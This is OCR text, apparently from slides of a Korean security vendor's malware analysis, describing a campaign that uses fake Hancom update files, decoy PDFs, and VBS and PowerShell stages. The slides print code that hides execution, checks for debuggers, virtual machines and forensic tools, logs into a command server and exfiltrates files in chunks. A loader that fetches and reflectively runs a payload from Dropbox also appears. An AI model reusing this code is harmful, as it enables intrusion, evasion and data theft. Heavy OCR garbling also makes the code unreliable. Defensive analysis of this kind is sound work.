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* hancom_service.bat

* hc_service.exe

* hc_update.exe
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Launcher

® ® @ |hc_update.exe

r_ BOOL sub_140001000( )
{
) struct _PROCESS_INFORMATION ProcessInformation;
- hancom_service.bat struct _STARTUPINFOW StartupInfo;
2_55 Windows BF%] TH WCHAR CommandLine[64];
( h . ) memset(&StartupInfo.lpReserved, 0, 96);
m C_SEIVICE.EXE memset(&ProcessInformation, 0. sizeof(ProcessInformation));
L o 22 o200 ) wcscpy(CommandLine, L"cmd.exe /c %temp%\\ KO.pdf & %temp%\\hancom_servtce.bat”)ﬂ
StartupInfo.cb = 104;
4 N\
hc update.exe StartupInfo.dwFlags = 1;
m iy ER _ . StartupInfo.wShowWindow = @;
L w2 58 2= 18 y CreateProcessW(
B nullptr,
_Kﬂ.pdf CommandLine,
@ nullptr,
nullptr,
. ) 0,
@ KOREA List.pdf 0x8000000u,
nullptr,
nullptr,
&StartupInfo,

&ProcessInformation);
CloseHandle(ProcessInformation.hProcess);
return CloseHandle(ProcessInformation.hThread);

}
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® ® @ lhancom_service.bat

@echo off
setlocal enabledelayedexpansion

7, | hancom_service.bat
2 Windows HiX| oh&

—

hc_service.exe

e
2% 22 Z21%

hc_update.exe
.- S8 o]

KO.pdf

B B B

KOREA_List.pdf

1]

[set "ftlePath:C:\\Users\\Publtc\\Mtcrosoft\\System_Default.log“]

set "psPath=C:\\Users\\Public\\Microsoft\\Defalt.psl"

:: Create nested folders
for %%F in ("%filePath%") do set "folderPath=%%~dpF"
set "folderPath=%folderPath:~0,-1%"

if not "%folderPath%"=="" (
set "currentPath="
for %%P in ("%folderPath:\=" "%") do (
if "l!lcurrentPath!"="" (
set "currentPath=2%%~P"
) else (
set "currentPath=!currentPath!\%%~P"
)
if not exist "!currentPath!\" mkdir "!currentPath!"

: Write the error log content

(
echo Error: ONg3e20ZA8W9zfbvFLt8w5zIBmBzbAyz4+Pc3R6PGMO54wFRenB61f302MIpmifh

echo Error: jvNxWmladrSs5IDdHYMWw7bwcEZoXX2k/c7yyl6QDcCd7hN/dloMg+Pm6c1X1iDH

AhnlLab
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® © ® hancom_service.bat
:: Show popup (optional - remove if not needed)
—
(
' echo Set shell = CreateObject("WScript.Shell"")
5 echo shell.Run "cmd.exe /c powershell.exe -NoP -exec BYpass -w hIdden -C
7| hancom_service.bat ] $rukp = 'JG51bGwgPSA .. Ai2f OKfQ=="';
_ 2':“5: Windows Hj*] ol J $rukp = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($rukp
. ([ScriptBlock]::Create($rukp))", 0, true
. "%stemps .Vbs"

hc_service.exe s S aEepRARGRIR Vs

FE . SSEE1E cscript //nologo "%temp%\popup.vbs"
del "%tempS%\popup.vbs"

hc_update.exe

oW- 29 GOk endlocal

KO.pdf

B B B

] KOREA_List.pdf

1]
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® [popup.vbs

$null = & {
function Invoke-EnvironmentCheck {
[CmdletBinding()]
param(
[switch]$Quiet,
[switch]$Detailed

)

$suspiciousPatterns =
$allProcesses = Get-Process
$suspiciousProcesses = @()

($vmProcesses + $debuggerProcesses + $forensicProcesses) | Sort-Object -Unique

foreach ($process in $allProcesses) {
$processName = $process.ProcessName.ToLower( )

foreach ($pattern in $suspiciousPatterns) {
$patternLower = $pattern.TolLower()

if ($processName -eq $patternLower -or $processName -like "*$patternLower*" -or $process.Name -like

"*$patternx") {
$category = ""
if ($vmProcesses -contains $pattern) {

[$category = "Virtual Machine"

}

elseif ($debuggerProcesses -contains $pattern) {
[$category = "Debugger"

}

elseif ($forensicProcesses -contains $pattern) {
[ $category = "Forensic Tool" |

$suspiciousProcesses += [PSCustomObject]@{
ProcessName = $process.ProcessName

Category = $category

AhnlLab
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® [popup.vbs

$null = & {
function Invoke-EnvironmentCheck {
[CmdletBinding()]
param(
[switch]$Quiet,
[switch]$Detailed

)

$suspiciousPatterns = ($vmProcesses + $debuggerProcesses + $forensicProcesses) |
$allProcesses = Get-Process O )
$suspiciousProcesses = @()

foreach ($process in $allProcesses) { $vmProcesses = @(

$processName = $process.ProcessName.TolLower( ) 'vmwaretray',
'vboxservice' i
foreach ($pattern in $suspiciousPatterns) { 'vboxtray' ’ VMware VlrtuaIBOX
$patternLower = $pattern.TolLower() Yy
‘vmsrvc',
if ($processName -eq $patternLower -or $processName -like "*$patternLowe ‘vmusrvc',
"x$patternx") { "'vmxnet'
$category = "" )
if ($vmProcesses -contains $pattern) {
II]

[ $category = "Virtual Machine"}

}

elseif ($debuggerProcesses -contains $pattern) {
$category = "Debugger"

]

elseif ($forensicProcesses -contains $pattern) {
$category = "Forensic Tool"

Iy

$suspiciousProcesses += [PSCustomObject]@{
ProcessName = $process.ProcessName
Category = $category
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® [popup.vbs

| N
$null = & {
function Invoke-EnvironmentCheck {
[cndletBinding()] $debuggerProcesses = @(
param( 'x64dbg"’,
3 3 1 1
SR PELEs x32dbg’, x64dbg ollydbg
) [switch]$Detailed 'olfLydbg',
$suspiciousPatterns = ($vmProcesses + $debuggerProcesses + $forensicProcess IWIJ]?bg ?
$allProcesses = Get-Process ida',
$suspiciousProcesses = @() 'i1dab4',
. ‘idaq’,
foreach ($process in $allProcesses) { 'idaq64’
$processName = $process.ProcessName.ToLower( ) } aq v 1
‘immunitydebugger’,
foreach ($pattern in $suspiciousPatterns) { 'dr1spy',
$patternLower = $pattern.TolLower() ‘dnspy-x86",
1 3 1
if ($processName -eq $patternLower -or $processName }like "*$patten Cheate”ngne ?
"x$patternx") { 'cheatengine-x86_64",
$category = "" 'deddot’,
if ($vmProcesses —;ontains $p§ttern) { 'hookexplorer',
$category = "Virtual Machine" L
} ilspy’,
elseif ($debuggerProcesses -contains $pattern) { ‘lordpe’,
[ $category = "Debugger" | 'petools’
]
elseif ($forensicProcesses -contains $pattern) { )
$category = "Forensic Tool"
Iy

$suspiciousProcesses += [PSCustomObject]@{
ProcessName = $process.ProcessName
Category = $category
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$forensicProcesses = @(

'procmon’,
<f= ‘procmon64’,
'procexp’, -
1 1
® [popup.vbs procexp64’, /(
onull - 8 1 'wireshark',
nu = 1 1
function Invoke-EnvironmentCheck { tshark ? WIRES HARK
[CmdletBinding()] "dumpcap’,
pararF( ] 'windump',
switch]$Quiet, ) H
DARED AR ‘fiddler', Sysinternals WIRESHARK
) 'fiddler everywhere',
$suspiciousPatterns = ($vmProcesses + $debuggerProcesses + $forensicProce 'bLerSlJite'
$allProcesses = Get-Process 't . . ’
$suspiciousProcesses = @() CleLew ?
‘tcpviewbd’,
foreach ($process in $allProcesses) { 'autoruns |,
$processName = $process.ProcessName.TolLower( ) . . .
autorunsc', et
foreach ($pattern in $suspiciousPatterns) { 'regmon’, Fiddler Process Hacker
$patternLower = $pattern.TolLower() 'filemon' ,
1 1
if ($processName -eq $patternLower -or $processName|-like "*$patt prOCESShaCker ’
"x$patternx") { ‘sysmon',
$category = "* ‘pestudio’,
if ($vmProcesses -contains $pattern) { dnf
$category = "Virtual Machine" n o
} 'volatility',
elseif ($debuggerProcesses -contains $pattern) 'ftkimager'
$category = "Debugger" . . ’
} autopsy',
elseif ($forensicProcesses -contains $pattern) 'resourcehacker’ -
) [$category = "Forensic Tool" ]— 'meap' ,
‘vmmap64',
$suspiciousProcesses += [PSCustomObject]@{ ‘portmon’,
ProcessName = $process.ProcessName 'processlasso'

Category = $category

)
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-& © @ [powershell script

function doWork {
$configloaded = Load-Config ("ceql4vvqfiTEeXb...m60C7pQBCYi58fw=="|
if (-not $configloaded) {
exit 0
} 0@
if ((Invoke-EnvironmentCheck -(Quiet).IsH {
Exit "ServerURL": "https://C2.address.com",
} "buildInfo": "2026.6.2",

_ "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...",
smutexName = “Global\jscript:sMutexUID"(  wpytexyrp": "SysInfoProject_...-657d-73c5-b3d3-...",
$createdNew = $false "sleepSecs": 30,
$mutex = New-Object System.Threading.Muj "sleepJitter": 20

[ref]$createdNew) }
if (-not $createdNew) {
exit 0
}
}
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. " ® © ®|nowershell script

function Invoke-Login {
$deviceld = Get-UniqueDeviceld

$userName = Get-CurrentUsername
$privLevel = Get-CurrentPrivilegeLevel -
— —
m 7|3 $wanIP = Get-WanIP ‘%"% 7|3
$lanIP = Get-LocalIPv4
$curPath = (Get-Location).Path
[ LI 7DI-CIJ:|:| Alﬁli:'é! ng %E ] $buildInfo = $script:sBuildInfo dEVld '6|-ES|>__||O-| JgIE% 7|I:II_|-9§'§- ID
$data = @{
devid = $deviceld
GC JHO x3 username = $userNane username Windows AF2X} AEE
privlvl = $privLevel
wanip = $wanIP
N lanip = $lanIP . o
RP G A ANED curpath = $curPath privivl TENMA Aok 2|
uildinfo = $buildInfo
} | ConvertTo-Json
. -
UF I Y=L sdata wanip 32 IPFA
try {

$script:sAuthToken =

Invoke-Request .
DF IOI¥LREE _url_$global:gserverURl ° lanip LHE HERZ IPFA
-Mode "LI" °
-Data $data
return $true

}
catch {

return $false
].
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Teoe powershell script

function Send-LargeFile {

try {
while (($read = $fs.Read($buffer, 0, $buffer.Length)) -gt 0)
{ $chunkBytes = New-Object byte[] $read
[Array]::Copy($buffer, $chunkBytes, $read)
$chunkBase64 = [Convert]::ToBase64String($chunkBytes)

$payload = @{

token = $script:sAuthToken
task_1id = $TaskID

file_id = $fileld
chunk_index = $index

file_name = $fileName
file_size = $fileSize

chunk_base64 = $chunkBase64
} | ConvertTo-Json -Compress

$success
for ($attempt = 1; $attempt -le $ChunkRetry; $attempt++) {

}

try {
$

i

}

t
}
catch

[
}

= $false

resp = Invoke-Request °
-Url $global:gServerURL °
( -Mode "UF" °
-Data $payload

f ($resp.status -eq 'ok') {
$success = $true
break

hrow "Invalid backend response"

{
System.Threading.Thread]::Sleep(500 * $attempt)

if (-not $success) {
throw "Chunk $index failed after $ChunkRetry attempts"

}
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2|E{2! E(Watering Hole)o]| 23t 2t A E Zted abH

ClientPC
= R
Non-ActiveX(EXE) ClientPC Threat Actor C&C Server
| |
5. 4dIECREE 3 HH

FC:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe"]—Command 1
if ((Get-Process -Name ekrn -ErrorAction SilentlyContinue) -eq $null) {
[Reflection.Assembly]::Load(
[Convert]::FromBase64String(
(Invoke—RestMethod['https://www.dropbox.com/...'ﬂ

)
) .GetType( 'test')::Test()
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I | |
1. io|L{2I2 Himajo) 2= plasrvexe
(Reflection.Assembly.Loa
Malware < oh Q! AL £8 T2 (exe)
22 Performance Logs and Alerts DCOM Server
QA C:¥WindowsWSystem32
2. OIE| CliZ 21 ZAt . !
> a7 32.0KB (32,768 BIO|E)
ClA3 &g 37 32.0KB (32,768 HIO|E)
3. cmd.exe /c plasrv.exe
[
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